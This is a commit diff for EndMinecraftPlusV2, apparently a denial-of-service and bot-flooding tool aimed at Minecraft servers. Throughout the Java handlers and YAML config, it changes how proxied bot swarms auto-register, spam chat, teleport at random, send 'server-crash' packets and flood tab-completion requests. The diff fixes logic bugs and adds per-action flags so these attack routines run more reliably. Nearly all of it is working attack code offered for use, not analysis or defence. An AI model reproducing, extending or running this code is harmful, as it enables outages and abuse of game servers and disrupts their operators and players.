修复关键逻辑错误

This commit is contained in:
SerendipityR 2024-01-30 15:11:28 +08:00 committed by GitHub
parent 706dfe5225
commit dcce3c9b85
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
36 changed files with 289 additions and 130 deletions

View File

@ -81,6 +81,10 @@ public class AttackManager {
packetHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_20_X.PacketHandler(); packetHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_20_X.PacketHandler();
} }
if (ProtocolLibs.currentVersion > 404 && ConfigUtil.ForgeSupport) {
LogUtil.doLog(0, "选定的协议库版本无法启用Forge支持。", "ForgeSupport");
}
BotManager botManager = new BotManager(botHandler, packetHandler); BotManager botManager = new BotManager(botHandler, packetHandler);
if (ConfigUtil.AttackMethod.equals(5)) { if (ConfigUtil.AttackMethod.equals(5)) {

View File

@ -8,8 +8,8 @@ import cn.serendipityr.EndMinecraftPlusV2.AttackManager.AttackManager;
import cn.serendipityr.EndMinecraftPlusV2.VersionManager.ProtocolLibs; import cn.serendipityr.EndMinecraftPlusV2.VersionManager.ProtocolLibs;
public class EndMinecraftPlusV2 { public class EndMinecraftPlusV2 {
public static String ver = "2.0.0"; public static String ver = "2.0.1";
public static Integer CfgVer = 7; public static Integer CfgVer = 8;
public static void main(String[] args) { public static void main(String[] args) {
System.out.println("=======================-Designed by SerendipityR-======================="); System.out.println("=======================-Designed by SerendipityR-=======================");

View File

@ -3,7 +3,7 @@
# Designed by SerendipityR # # Designed by SerendipityR #
############################### ###############################
CfgVer: 7 CfgVer: 8
AttackSettings: AttackSettings:
Address: "example.com" Address: "example.com"
@ -122,25 +122,27 @@ BotSettings:
- "喵喵喵~ $rnd" - "喵喵喵~ $rnd"
- "喵喵~ $rnd" - "喵喵~ $rnd"
- "喵~ $rnd" - "喵~ $rnd"
# 输出详细信息
DetailMsg: false
# 显示来自服务器的聊天信息 # 显示来自服务器的聊天信息
ShowServerMessages: true ShowServerMessages: true
# 行动流程 # 行动流程
# async - 异步执行任务 # async - 异步执行任务
# wait - 等待:<时间(ms)> # wait - 等待:<时间(ms)>_<flag>
# chatSpam - 随机发送聊天信息:<次数>_<间隔(ms)> # chatSpam - 随机发送聊天信息:<次数>_<间隔(ms)>_<flag>
# randomTeleport - 随机传送:<次数>_<间隔(ms)> # randomTeleport - 随机传送:<次数>_<间隔(ms)>_<flag>
# backTeleport - 回到重生点 # backTeleport - 回到重生点_<flag>
# register&Login - 执行注册/登录:<flag>_<是否使用已生成密码>_<自定义密码> # register&Login - 执行注册/登录:<是否使用已生成密码>_<自定义密码> - Flag:login
# crashPacket - 发送崩服数据包:<数量> # crashPacket - 发送崩服数据包:<数量>_<flag>
# tabAttack - 执行Tab补全:<数量>_<间隔(ms)> # tabAttack - 执行Tab补全:<数量>_<间隔(ms)>_<flag>
Actions: Actions:
- "register&Login:login_true_genshinImpact" - "register&Login:true_genshinImpact"
- "async|chatSpam:10_3000" - "async|chatSpam:10_3000_login"
- "async|randomTeleport:25_100" - "async|randomTeleport:25_100_login"
- "wait:3000" - "wait:3000_login"
- "async|backTeleport" - "async|backTeleport:login"
- "async|crashPacket:75" - "async|crashPacket:75_login"
- "async|tabAttack:25_75" - "async|tabAttack:25_75_login"
Proxy: Proxy:
# 代理获取方式: # 代理获取方式:

View File

@ -51,6 +51,7 @@ public class ConfigUtil {
public static List<String> ClickVerifiesDetect; public static List<String> ClickVerifiesDetect;
public static List<String> CustomChat; public static List<String> CustomChat;
public static List<String> BotActions; public static List<String> BotActions;
public static Boolean BotActionDetails;
public static Integer ProxyGetType; public static Integer ProxyGetType;
public static Integer ProxyType; public static Integer ProxyType;
public static Integer ProxyUpdateTime; public static Integer ProxyUpdateTime;
@ -111,6 +112,7 @@ public class ConfigUtil {
RejoinDelay = config.getLong("BotSettings.RejoinDelay"); RejoinDelay = config.getLong("BotSettings.RejoinDelay");
ClickVerifiesDetect = config.getStringList("BotSettings.ClickVerifiesDetect"); ClickVerifiesDetect = config.getStringList("BotSettings.ClickVerifiesDetect");
CustomChat = config.getStringList("BotSettings.CustomChat"); CustomChat = config.getStringList("BotSettings.CustomChat");
BotActionDetails = config.getBoolean("BotSettings.DetailMsg");
ShowServerMessages = config.getBoolean("BotSettings.ShowServerMessages"); ShowServerMessages = config.getBoolean("BotSettings.ShowServerMessages");
BotActions = config.getStringList("BotSettings.Actions"); BotActions = config.getStringList("BotSettings.Actions");
ProxyGetType = config.getInt("Proxy.GetType"); ProxyGetType = config.getInt("Proxy.GetType");

View File

@ -5,13 +5,14 @@ import java.net.InetSocketAddress;
import java.net.Proxy; import java.net.Proxy;
import java.text.SimpleDateFormat; import java.text.SimpleDateFormat;
import java.util.Date; import java.util.Date;
import java.util.concurrent.ConcurrentHashMap; import java.util.List;
import java.util.concurrent.CopyOnWriteArrayList;
import java.util.regex.Matcher; import java.util.regex.Matcher;
public class ProxyUtil { public class ProxyUtil {
public static Date runTime; public static Date runTime;
public static ConcurrentHashMap<String, String> proxies = new ConcurrentHashMap<>(); public static List<String> proxies = new CopyOnWriteArrayList<>();
public static ConcurrentHashMap<Proxy, String> workingProxiesList = new ConcurrentHashMap<>(); public static List<Proxy> workingProxiesList = new CopyOnWriteArrayList<>();
public static void getProxies() { public static void getProxies() {
String getMethod; String getMethod;
@ -38,7 +39,7 @@ public class ProxyUtil {
public static void getProxiesFromAPIs(boolean replace) { public static void getProxiesFromAPIs(boolean replace) {
if (replace) { if (replace) {
proxies = new ConcurrentHashMap<>(); proxies.clear();
} }
for (String url : ConfigUtil.ProxyAPIs) { for (String url : ConfigUtil.ProxyAPIs) {
@ -47,8 +48,8 @@ public class ProxyUtil {
while (matcher.find()) { while (matcher.find()) {
String ip = matcher.group(); String ip = matcher.group();
if (!proxies.containsKey(ip)) { if (!proxies.contains(ip)) {
proxies.put(ip, ""); proxies.add(ip);
} }
} }
} }
@ -66,12 +67,12 @@ public class ProxyUtil {
String tempString; String tempString;
if (replace) { if (replace) {
proxies = new ConcurrentHashMap<>(); proxies.clear();
} }
while ((tempString = reader.readLine()) != null) { while ((tempString = reader.readLine()) != null) {
if (!proxies.containsKey(tempString)) { if (!proxies.contains(tempString)) {
proxies.put(tempString, ""); proxies.add(tempString);
} }
} }
@ -114,13 +115,13 @@ public class ProxyUtil {
File workingProxies = new File("working-proxies_" + simpleDateFormat.format(runTime) + ".txt"); File workingProxies = new File("working-proxies_" + simpleDateFormat.format(runTime) + ".txt");
InetSocketAddress inetSocketAddress = (InetSocketAddress) proxy.address(); InetSocketAddress inetSocketAddress = (InetSocketAddress) proxy.address();
if (!workingProxiesList.containsKey(proxy)) { if (!workingProxiesList.contains(proxy)) {
try { try {
FileWriter fileWriter = new FileWriter(workingProxies, true); FileWriter fileWriter = new FileWriter(workingProxies, true);
String proxyAddress = (inetSocketAddress.getAddress() + ":" + inetSocketAddress.getPort() + "\n").replace("/", ""); String proxyAddress = (inetSocketAddress.getAddress() + ":" + inetSocketAddress.getPort() + "\n").replace("/", "");
fileWriter.write(proxyAddress); fileWriter.write(proxyAddress);
fileWriter.close(); fileWriter.close();
workingProxiesList.put(proxy, ""); workingProxiesList.add(proxy);
} catch (IOException e) { } catch (IOException e) {
LogUtil.doLog(1, "保存有效代理失败! IO异常: " + e.getMessage(), null); LogUtil.doLog(1, "保存有效代理失败! IO异常: " + e.getMessage(), null);
} }

View File

@ -19,7 +19,8 @@ public interface BotHandler {
boolean hasClientFlag(Object client, String flag); boolean hasClientFlag(Object client, String flag);
void setClientFlag(Object client, String flag); void setClientFlag(Object client, String flag, Object value);
Object getClientFlag(Object client, String flag);
void setClientTimeout(Object client, long timeout); void setClientTimeout(Object client, long timeout);
} }

View File

@ -61,17 +61,22 @@ public class BotManager {
break; break;
case "randomTeleport": case "randomTeleport":
int count = Integer.parseInt(_action[1]); int count = Integer.parseInt(_action[1]);
if (positionList.containsKey(client)) {
LogUtil.doLog(0, "[DEBUG] [行动] 尝试进行随机传送: " + count + "", "BotAttack"); LogUtil.doLog(0, "[DEBUG] [行动] 尝试进行随机传送: " + count + "", "BotAttack");
packetHandler.sendPositionPacketFromPacket(client, positionList.get(client), true); packetHandler.sendPositionPacketFromPacket(client, positionList.get(client), true);
}
break; break;
case "backTeleport": case "backTeleport":
if (positionList.containsKey(client)) {
LogUtil.doLog(0, "[DEBUG] [行动] 尝试回到初始位置。", "BotAttack"); LogUtil.doLog(0, "[DEBUG] [行动] 尝试回到初始位置。", "BotAttack");
packetHandler.sendPositionPacketFromPacket(client, positionList.get(client), false); packetHandler.sendPositionPacketFromPacket(client, positionList.get(client), false);
}
break; break;
case "register&Login": case "register&Login":
String pwd = _action[1]; String pwd = _action[1];
LogUtil.doLog(0, "[DEBUG] [行动] 尝试执行注册/登录: " + pwd, "BotAttack"); LogUtil.doLog(0, "[DEBUG] [行动] 尝试执行注册/登录: " + pwd, "BotAttack");
doRegisterLogin(client, userName, 0, false, pwd); doRegisterLogin(client, userName, 0, pwd);
break; break;
case "crashPacket": case "crashPacket":
int count_ = Integer.parseInt(_action[1]); int count_ = Integer.parseInt(_action[1]);
@ -105,14 +110,18 @@ public class BotManager {
} }
}).start(); }).start();
while (System.currentTimeMillis() - startTime < ConfigUtil.AttackTime * 1000) {
executorService_1.execute(new botCreateTask());
OtherUtils.doSleep(ConfigUtil.ConnectDelay);
new Thread(() -> { new Thread(() -> {
while (System.currentTimeMillis() - startTime < ConfigUtil.AttackTime * 1000) {
for (Object client : aliveList.keySet().toArray()) { for (Object client : aliveList.keySet().toArray()) {
executorService_2.execute(new botActivitiesTask(client, aliveList.get(client))); executorService_2.execute(new botActivitiesTask(client, aliveList.get(client)));
} }
OtherUtils.doSleep(ConfigUtil.ConnectDelay);
}
}).start(); }).start();
while (System.currentTimeMillis() - startTime < ConfigUtil.AttackTime * 1000) {
OtherUtils.doSleep(ConfigUtil.ConnectDelay);
executorService_1.execute(new botCreateTask());
} }
shutdownAndAwaitTermination(executorService_2); shutdownAndAwaitTermination(executorService_2);
shutdownAndAwaitTermination(executorService_1); shutdownAndAwaitTermination(executorService_1);
@ -172,6 +181,7 @@ public class BotManager {
String disconnectMsg = botHandler.getClientDisconnectMsg(client); String disconnectMsg = botHandler.getClientDisconnectMsg(client);
executorService_1.execute(new botRejoinTask(disconnectMsg, proxy, userName, BotManager.doubleAttack)); // 重连尝试 executorService_1.execute(new botRejoinTask(disconnectMsg, proxy, userName, BotManager.doubleAttack)); // 重连尝试
clientList.remove(client); clientList.remove(client);
positionList.remove(client);
} }
} }
@ -186,6 +196,11 @@ public class BotManager {
@Override @Override
public void run() { public void run() {
if (botHandler.hasClientFlag(client, "activity") && botHandler.getClientFlag(client,"activity").equals(true)) {
return;
}
botHandler.setClientFlag(client, "activity", true);
for (String action : ConfigUtil.BotActions) { for (String action : ConfigUtil.BotActions) {
boolean async = "async".equals(action.split("\\|")[0]); boolean async = "async".equals(action.split("\\|")[0]);
@ -198,65 +213,105 @@ public class BotManager {
runBotAction(client, userName, action, _action); runBotAction(client, userName, action, _action);
} }
} }
botHandler.setClientFlag(client, "activity", false);
} }
} }
private static void runBotAction(Object client, String userName, String action, String[] _action) { private static void runBotAction(Object client, String userName, String action, String[] _action) {
switch (_action[0]) { switch (_action[0]) {
case "wait": case "wait":
long waitTime = Long.parseLong(_action[1]); String[] waitArgs = _action[1].split("_");
long waitTime = Long.parseLong(waitArgs[0]);
String waitFlag = waitArgs[1];
if (botHandler.hasClientFlag(client, waitFlag)) {
if (ConfigUtil.BotActionDetails) {
LogUtil.doLog(0, "[" + userName + "] [行动] 等待: " + waitTime + "毫秒", "BotAttack"); LogUtil.doLog(0, "[" + userName + "] [行动] 等待: " + waitTime + "毫秒", "BotAttack");
}
OtherUtils.doSleep(waitTime); OtherUtils.doSleep(waitTime);
}
break; break;
case "chatSpam": case "chatSpam":
String[] spamArgs = _action[1].split("_"); String[] spamArgs = _action[1].split("_");
int chatCount = Integer.parseInt(spamArgs[0]); int chatCount = Integer.parseInt(spamArgs[0]);
long chatDelay = Long.parseLong(spamArgs[1]); long chatDelay = Long.parseLong(spamArgs[1]);
String chatFlag = spamArgs[2];
if (botHandler.hasClientFlag(client, chatFlag)) {
if (ConfigUtil.BotActionDetails) {
LogUtil.doLog(0, "[" + userName + "] [行动] 尝试向服务器发送消息: " + chatCount + "", "BotAttack"); LogUtil.doLog(0, "[" + userName + "] [行动] 尝试向服务器发送消息: " + chatCount + "", "BotAttack");
}
for (int i = 0; i < chatCount; i++) { for (int i = 0; i < chatCount; i++) {
OtherUtils.doSleep(chatDelay); OtherUtils.doSleep(chatDelay);
packetHandler.sendChatPacket(client, UniverseMethods.getRandMessage(userName)); packetHandler.sendChatPacket(client, UniverseMethods.getRandMessage(userName));
} }
}
break; break;
case "randomTeleport": case "randomTeleport":
String[] rndTpArgs = _action[1].split("_"); String[] rndTpArgs = _action[1].split("_");
int rndTpCount = Integer.parseInt(rndTpArgs[0]); int rndTpCount = Integer.parseInt(rndTpArgs[0]);
long rndTpDelay = Integer.parseInt(rndTpArgs[1]); long rndTpDelay = Integer.parseInt(rndTpArgs[1]);
String rndTpFlag = rndTpArgs[2];
if (botHandler.hasClientFlag(client, rndTpFlag) && positionList.containsKey(client)) {
if (ConfigUtil.BotActionDetails) {
LogUtil.doLog(0, "[" + userName + "] [行动] 尝试进行随机传送: " + rndTpCount + "", "BotAttack"); LogUtil.doLog(0, "[" + userName + "] [行动] 尝试进行随机传送: " + rndTpCount + "", "BotAttack");
}
for (int i = 0; i < rndTpCount; i++) { for (int i = 0; i < rndTpCount; i++) {
packetHandler.sendPositionPacketFromPacket(client, positionList.get(client), true); packetHandler.sendPositionPacketFromPacket(client, positionList.get(client), true);
OtherUtils.doSleep(rndTpDelay); OtherUtils.doSleep(rndTpDelay);
} }
}
break; break;
case "backTeleport": case "backTeleport":
String[] bTpArgs = _action[1].split("_");
String bTpFlag = bTpArgs[0];
if (botHandler.hasClientFlag(client, bTpFlag)) {
if (positionList.containsKey(client)) {
if (ConfigUtil.BotActionDetails) {
LogUtil.doLog(0, "[" + userName + "] [行动] 尝试回到初始位置。", "BotAttack"); LogUtil.doLog(0, "[" + userName + "] [行动] 尝试回到初始位置。", "BotAttack");
}
packetHandler.sendPositionPacketFromPacket(client, positionList.get(client), false); packetHandler.sendPositionPacketFromPacket(client, positionList.get(client), false);
}
}
break; break;
case "register&Login": case "register&Login":
String[] loginArgs = _action[1].split("_"); String[] loginArgs = _action[1].split("_");
String flag = loginArgs[0]; boolean randomPwd = Boolean.parseBoolean(loginArgs[0]);
boolean randomPwd = Boolean.parseBoolean(loginArgs[1]); String pwd = loginArgs[1];
String pwd = loginArgs[2]; if (!botHandler.hasClientFlag(client, "login")) {
if (!botHandler.hasClientFlag(client, flag)) { if (randomPwd) {
pwd = DataUtil.botRegPasswordsMap.get(userName);
}
if (ConfigUtil.BotActionDetails) {
LogUtil.doLog(0, "[" + userName + "] [行动] 尝试执行注册/登录: " + pwd, "BotAttack"); LogUtil.doLog(0, "[" + userName + "] [行动] 尝试执行注册/登录: " + pwd, "BotAttack");
doRegisterLogin(client, userName, 0, randomPwd, pwd); }
botHandler.setClientFlag(client, flag); doRegisterLogin(client, userName, 0, pwd);
} }
break; break;
case "crashPacket": case "crashPacket":
int packetCount = Integer.parseInt(_action[1]); String[] crashArgs = _action[1].split("_");
int packetCount = Integer.parseInt(crashArgs[0]);
String crashFlag = crashArgs[1];
if (botHandler.hasClientFlag(client, crashFlag)) {
if (ConfigUtil.BotActionDetails) {
LogUtil.doLog(0, "[" + userName + "] [行动] 尝试发送崩服数据包: " + packetCount + "", "BotAttack"); LogUtil.doLog(0, "[" + userName + "] [行动] 尝试发送崩服数据包: " + packetCount + "", "BotAttack");
}
sendCrashPacket(client, packetCount); sendCrashPacket(client, packetCount);
}
break; break;
case "tabAttack": case "tabAttack":
String[] tabArgs = _action[1].split("_"); String[] tabArgs = _action[1].split("_");
int tabCount = Integer.parseInt(tabArgs[0]); int tabCount = Integer.parseInt(tabArgs[0]);
long tabDelay = Long.parseLong(tabArgs[1]); long tabDelay = Long.parseLong(tabArgs[1]);
String tabFlag = tabArgs[2];
if (botHandler.hasClientFlag(client, tabFlag)) {
if (ConfigUtil.BotActionDetails) {
LogUtil.doLog(0, "[" + userName + "] [行动] 尝试发送命令补全数据包: " + tabCount + "", "BotAttack"); LogUtil.doLog(0, "[" + userName + "] [行动] 尝试发送命令补全数据包: " + tabCount + "", "BotAttack");
}
for (int i = 0; i < tabCount; i++) { for (int i = 0; i < tabCount; i++) {
packetHandler.sendTabCompletePacket(client, "/"); packetHandler.sendTabCompletePacket(client, "/");
OtherUtils.doSleep(tabDelay); OtherUtils.doSleep(tabDelay);
} }
}
break;
default: default:
LogUtil.doLog(0, "[" + userName + "] [行动] 无法识别的action语句: " + action, "BotAttack"); LogUtil.doLog(0, "[" + userName + "] [行动] 无法识别的action语句: " + action, "BotAttack");
} }
@ -320,17 +375,13 @@ public class BotManager {
} }
} }
public static void doRegisterLogin(Object client, String userName, long delay, boolean randomPassword, String password) { public static void doRegisterLogin(Object client, String userName, long delay, String password) {
botHandler.setClientFlag(client, "login"); botHandler.setClientFlag(client, "login", "");
new Thread(() -> { new Thread(() -> {
for (String text : ConfigUtil.RegisterCommands) { for (String text : ConfigUtil.RegisterCommands) {
OtherUtils.doSleep(delay); OtherUtils.doSleep(delay);
String cmd = text; String cmd = text;
if (randomPassword) {
cmd = cmd.replace("$pwd", DataUtil.botRegPasswordsMap.get(userName));
} else {
cmd = cmd.replace("$pwd", password); cmd = cmd.replace("$pwd", password);
}
cmd = cmd.replace("$userName", userName); cmd = cmd.replace("$userName", userName);
cmd = cmd.replace("$rnd", OtherUtils.getRandomString(4, 6)); cmd = cmd.replace("$rnd", OtherUtils.getRandomString(4, 6));
LogUtil.doLog(0, "[" + userName + "] 注册信息已发送。", "BotAttack"); LogUtil.doLog(0, "[" + userName + "] 注册信息已发送。", "BotAttack");

View File

@ -11,7 +11,6 @@ import java.io.OutputStream;
import java.net.InetSocketAddress; import java.net.InetSocketAddress;
import java.net.Proxy; import java.net.Proxy;
import java.net.Socket; import java.net.Socket;
import java.util.ArrayList;
import java.util.Random; import java.util.Random;
public class UniverseMethods { public class UniverseMethods {
@ -46,7 +45,7 @@ public class UniverseMethods {
public static Proxy getProxy(Proxy.Type proxyType) { public static Proxy getProxy(Proxy.Type proxyType) {
int size = ProxyUtil.proxies.size(); int size = ProxyUtil.proxies.size();
String p = new ArrayList<>(ProxyUtil.proxies.keySet()).get(BotManager.clientList.size() % size); String p = ProxyUtil.proxies.get(BotManager.clientList.size() % size);
String[] _p = p.split(":"); String[] _p = p.split(":");
return new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1]))); return new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
} }

View File

@ -160,9 +160,15 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe
} }
@Override @Override
public void setClientFlag(Object client, String flag) { public void setClientFlag(Object client, String flag, Object value) {
Client c = (Client) client; Client c = (Client) client;
c.getSession().setFlag(flag, ""); c.getSession().setFlag(flag, value);
}
@Override
public Object getClientFlag(Object client, String flag) {
Client c = (Client) client;
return c.getSession().getFlag(flag);
} }
@Override @Override

View File

@ -181,6 +181,9 @@ public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.Multipl
public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) { public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) {
Session session = ((Client) client).getSession(); Session session = ((Client) client).getSession();
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket; ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
if (packet == null) {
return;
}
double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);

View File

@ -160,9 +160,15 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe
} }
@Override @Override
public void setClientFlag(Object client, String flag) { public void setClientFlag(Object client, String flag, Object value) {
Client c = (Client) client; Client c = (Client) client;
c.getSession().setFlag(flag, ""); c.getSession().setFlag(flag, value);
}
@Override
public Object getClientFlag(Object client, String flag) {
Client c = (Client) client;
return c.getSession().getFlag(flag);
} }
@Override @Override

View File

@ -171,6 +171,9 @@ public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.Multipl
public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) { public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) {
Session session = ((Client) client).getSession(); Session session = ((Client) client).getSession();
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket; ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
if (packet == null) {
return;
}
double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);

View File

@ -27,9 +27,6 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe
public void connect(Object c, Proxy proxy) { public void connect(Object c, Proxy proxy) {
Client client = (Client) c; Client client = (Client) c;
String userName = BotManager.clientList.get(c); String userName = BotManager.clientList.get(c);
if (ConfigUtil.ForgeSupport) {
LogUtil.doLog(0, "选定的协议库版本无法启用Forge支持。", "ForgeSupport");
}
client.getSession().addListener(new SessionListener() { client.getSession().addListener(new SessionListener() {
public void packetReceived(PacketReceivedEvent e) { public void packetReceived(PacketReceivedEvent e) {
@ -167,9 +164,15 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe
} }
@Override @Override
public void setClientFlag(Object client, String flag) { public void setClientFlag(Object client, String flag, Object value) {
Client c = (Client) client; Client c = (Client) client;
c.getSession().setFlag(flag, ""); c.getSession().setFlag(flag, value);
}
@Override
public Object getClientFlag(Object client, String flag) {
Client c = (Client) client;
return c.getSession().getFlag(flag);
} }
@Override @Override

View File

@ -164,6 +164,9 @@ public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.Multipl
public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) { public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) {
Session session = ((Client) client).getSession(); Session session = ((Client) client).getSession();
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket; ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
if (packet == null) {
return;
}
double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);

View File

@ -29,9 +29,6 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe
public void connect(Object c, Proxy proxy) { public void connect(Object c, Proxy proxy) {
Client client = (Client) c; Client client = (Client) c;
String userName = BotManager.clientList.get(c); String userName = BotManager.clientList.get(c);
if (ConfigUtil.ForgeSupport) {
LogUtil.doLog(0, "选定的协议库版本无法启用Forge支持。", "ForgeSupport");
}
client.getSession().addListener(new SessionListener() { client.getSession().addListener(new SessionListener() {
public void packetReceived(PacketReceivedEvent e) { public void packetReceived(PacketReceivedEvent e) {
@ -177,9 +174,15 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe
} }
@Override @Override
public void setClientFlag(Object client, String flag) { public void setClientFlag(Object client, String flag, Object value) {
Client c = (Client) client; Client c = (Client) client;
c.getSession().setFlag(flag, ""); c.getSession().setFlag(flag, value);
}
@Override
public Object getClientFlag(Object client, String flag) {
Client c = (Client) client;
return c.getSession().getFlag(flag);
} }
@Override @Override

View File

@ -165,6 +165,9 @@ public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.Multipl
public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) { public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) {
Session session = ((Client) client).getSession(); Session session = ((Client) client).getSession();
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket; ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
if (packet == null) {
return;
}
double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);

View File

@ -29,9 +29,6 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe
public void connect(Object c, Proxy proxy) { public void connect(Object c, Proxy proxy) {
Client client = (Client) c; Client client = (Client) c;
String userName = BotManager.clientList.get(c); String userName = BotManager.clientList.get(c);
if (ConfigUtil.ForgeSupport) {
LogUtil.doLog(0, "选定的协议库版本无法启用Forge支持。", "ForgeSupport");
}
client.getSession().addListener(new SessionListener() { client.getSession().addListener(new SessionListener() {
public void packetReceived(PacketReceivedEvent e) { public void packetReceived(PacketReceivedEvent e) {
@ -177,9 +174,15 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe
} }
@Override @Override
public void setClientFlag(Object client, String flag) { public void setClientFlag(Object client, String flag, Object value) {
Client c = (Client) client; Client c = (Client) client;
c.getSession().setFlag(flag, ""); c.getSession().setFlag(flag, value);
}
@Override
public Object getClientFlag(Object client, String flag) {
Client c = (Client) client;
return c.getSession().getFlag(flag);
} }
@Override @Override

View File

@ -165,6 +165,9 @@ public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.Multipl
public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) { public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) {
Session session = ((Client) client).getSession(); Session session = ((Client) client).getSession();
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket; ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
if (packet == null) {
return;
}
double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);

View File

@ -28,9 +28,6 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe
public void connect(Object c, Proxy proxy) { public void connect(Object c, Proxy proxy) {
TcpClientSession client = (TcpClientSession) c; TcpClientSession client = (TcpClientSession) c;
String userName = BotManager.clientList.get(c); String userName = BotManager.clientList.get(c);
if (ConfigUtil.ForgeSupport) {
LogUtil.doLog(0, "选定的协议库版本无法启用Forge支持。", "ForgeSupport");
}
client.addListener(new SessionListener() { client.addListener(new SessionListener() {
public void packetReceived(PacketReceivedEvent e) { public void packetReceived(PacketReceivedEvent e) {
@ -176,9 +173,15 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe
} }
@Override @Override
public void setClientFlag(Object client, String flag) { public void setClientFlag(Object client, String flag, Object value) {
TcpClientSession c = (TcpClientSession) client; TcpClientSession c = (TcpClientSession) client;
c.setFlag(flag, ""); c.setFlag(flag, value);
}
@Override
public Object getClientFlag(Object client, String flag) {
TcpClientSession c = (TcpClientSession) client;
return c.getFlag(flag);
} }
@Override @Override

View File

@ -166,6 +166,9 @@ public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.Multipl
public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) { public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) {
TcpClientSession session = (TcpClientSession) client; TcpClientSession session = (TcpClientSession) client;
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket; ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
if (packet == null) {
return;
}
double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
